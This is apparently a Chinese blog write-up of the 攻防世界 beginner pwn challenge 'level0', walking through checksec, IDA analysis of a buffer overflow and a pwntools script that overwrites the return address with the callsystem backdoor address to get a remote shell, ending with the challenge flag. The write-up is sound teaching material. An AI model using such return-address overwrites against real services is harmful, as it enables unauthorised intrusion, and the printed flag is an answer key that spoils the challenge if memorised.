pwn刷题num1---栈溢出

攻防世界pwn新手区level0

pwn刷题num1---栈溢出_第1张图片
111.200.241.244:49418是ip地址:端口,通过linux的nc命令可扫描ip地址并连接到ip地址对应靶机的端口程序上
linux的nc命令
附件是把靶机的程序直接给出到本地
下载题目附件后首先赋予程序执行权限
一般下载的程序没有可执行权限,无法进行分析,所以要先赋予可执行权限,命令是

chmod +x 文件名

linux文件属性
之后用checksec命令查保护(需先配置pwntools这里引用另一个博主的配置pwn环境的博客)

pwn刷题num1---栈溢出_第2张图片
关于linux的保护可见这篇文章
linux漏洞保护机制
观察发现

64位程序,小端序
没有开启RELRO----漏洞:程序got表可写
没有开启canary保护-----漏洞:存在栈溢出
开启了NX保护-----注入的shellcode无法执行
没有开启PIE----程序内存地址未随机化

之后用file命令可查看程序编译链接情况
在这里插入图片描述
dynamically linked为动态链接
什么是动态链接

然后运行一下
本地运行
或者
在这里插入图片描述
看不出什么信息,用ida看一下伪代码
ida一些用法
找到主函数
在这里插入图片描述
双击进入vulnerable_function()函数
pwn刷题num1---栈溢出_第3张图片
发现read函数给buf处赋予0x200字节,而buf只有0x80字节,存在栈溢出
双击buf进入栈空间
pwn刷题num1---栈溢出_第4张图片
pwn刷题num1---栈溢出_第5张图片
buf距离返回地址图中(r标号)0x88字节
然后寻找一下程序中有没有后门函数(获得系统权限的函数)
pwn刷题num1---栈溢出_第6张图片
发现callsystem函数,很可疑
在这里插入图片描述
发现正是后门函数,把返回地址覆盖为该函数的地址,调用该函数即可获得shell,查看函数地址为0x400596
pwn刷题num1---栈溢出_第7张图片
编写exp

'''
栈溢出 + system地址获得shell
'''
from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',49418)
call_system_addr = 0x400596
payload = flat(['a' * 0x88,call_system_addr])
sh.sendline(payload)
sh.interactive()

pwntools编写exp
pwn刷题num1---栈溢出_第8张图片
获得flag:
cyberpeace{0446553eec724aa790f302cfe27db08e}

附上本文所用链接

linux的nc命令
pwntools这里引用另一个博主的配置pwn环境的博客
linux漏洞保护机制
ida一些用法
pwntools编写exp

你可能感兴趣的:(pwn,CTF,攻防世界,系统安全,python,网络安全,c语言)